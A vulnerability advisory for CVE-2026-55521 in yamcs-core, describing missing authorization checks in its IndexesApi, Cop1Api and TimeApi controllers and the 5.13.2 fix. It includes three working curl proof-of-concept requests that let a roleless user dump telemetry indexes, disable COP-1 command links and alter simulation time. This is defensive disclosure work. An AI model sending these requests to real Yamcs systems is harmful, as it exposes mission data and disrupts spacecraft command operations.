high · 8.8CVE-2026-55521Aug 28, 2026

CVE-2026-55521: Yamcs Core API Multiple Missing Authorization Checks

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated Yamcs user, even one with no assigned roles, can read sensitive telemetry indexes, disable satellite COP-1 command links, and manipulate global simulation time because three REST…

Packageorg.yamcs:yamcs-core
Ecosystemmaven
Affected>= 5.13.0, <= 5.13.1
Fixed in5.13.2
CVE-2026-55521: Yamcs Core API Multiple Missing Authorization Checks

The problem

Three controllers in yamcs-core 5.13.0 and 5.13.1 execute privileged operations without ever calling ctx.checkSystemPrivilege() or verifying object privileges: IndexesApi (packet and event index reads), Cop1Api (COP-1 protocol state changes), and TimeApi (simulation time and speed manipulation).

The impact spans all three security pillars. Confidentiality is broken because any guest account can enumerate full historical telemetry packet metadata. Integrity and availability are broken because the same guest can disable the COP-1 telecommand protocol or warp simulation time, disrupting all other users and automated processes on that Yamcs instance.

Proof of concept

A working proof-of-concept for CVE-2026-55521 in org.yamcs:yamcs-core, with the exact payload below.

bash
# PoC 1: Dump packet index as an unprivileged user (IndexesApi - info disclosure)
curl -s -X GET "http://TARGET:8090/api/archive/simulator/packet-index" \
     -u "guest_user:password"
# Expect: HTTP 200 with full packet index JSON, no 403

# PoC 2: Disable COP-1 telecommand protocol (Cop1Api - DoS / integrity)
curl -s -X POST "http://TARGET:8090/api/cop1/simulator/tc_sim:disable" \
     -u "guest_user:password" \
     -H "Content-Type: application/json" -d '{}'
# Expect: HTTP 200 or 400 (link config issue), never 403

# PoC 3: Manipulate global simulation time (TimeApi - DoS / integrity)
curl -s -X POST "http://TARGET:8090/api/instances/simulator:setTime" \
     -u "guest_user:password" \
     -H "Content-Type: application/json" -d '{"speed": 10.0}'
# Expect: HTTP 200 or 400 (non-sim service), never 403

Each vulnerable method goes straight into business logic with no guard. The fix, consistent with how PacketsApi and IamApi handle equivalent operations, is to add a ctx.checkSystemPrivilege(SystemPrivilege.ControlLinks) call at the top of Cop1Api mutating methods, a ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving) (or equivalent) call in TimeApi.setTime, and per-packet ctx.checkObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName) filtering in IndexesApi.

The root cause is CWE-862 (Missing Authorization): the RBAC enforcement that exists elsewhere in the codebase was simply never wired into these three controllers. A 200 or 400 response (rather than 403) from any of the three PoC requests above confirms exploitation on an unpatched instance.

The fix

Upgrade org.yamcs:yamcs-core to **5.13.2** or later. Version 5.13.2 adds the missing privilege checks to IndexesApi, Cop1Api, and TimeApi. If you cannot upgrade immediately, restrict the Yamcs REST API port (default 8090) to trusted networks only and ensure no unprivileged accounts exist in the system.

Reporter not attributed.

References: [1][2]

Related research